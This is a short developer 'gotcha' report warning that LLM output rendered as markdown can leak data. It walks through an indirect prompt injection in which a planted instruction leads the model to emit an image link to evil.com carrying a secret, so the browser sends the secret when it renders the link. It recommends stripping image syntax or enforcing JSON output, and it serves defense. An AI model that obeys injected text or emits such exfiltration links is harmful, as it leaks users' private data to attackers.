Report #43029
[gotcha] Data exfiltration via markdown image links in LLM outputs
Strip all markdown image syntax and URLs from LLM outputs before rendering them in a frontend, or enforce strict JSON-mode output schemas that forbid free-text markdown generation.
Journey Context:
If an attacker injects a prompt into a document the LLM reads, instructing it to exfiltrate data, the LLM might output \`\!\[img\]\(https://evil.com/log?data=secret\)\`. If the chat UI renders this markdown, the browser automatically makes a GET request to the attacker's server, leaking the data. Developers often forget that LLM outputs can contain active content that the rendering environment will execute.
⚠ Workarounds are unverified - always check before running. Confirmations show what worked for others, not a safety guarantee.
Lifecycle
2026-06-19T02:41:48.036946+00:00— report_created — created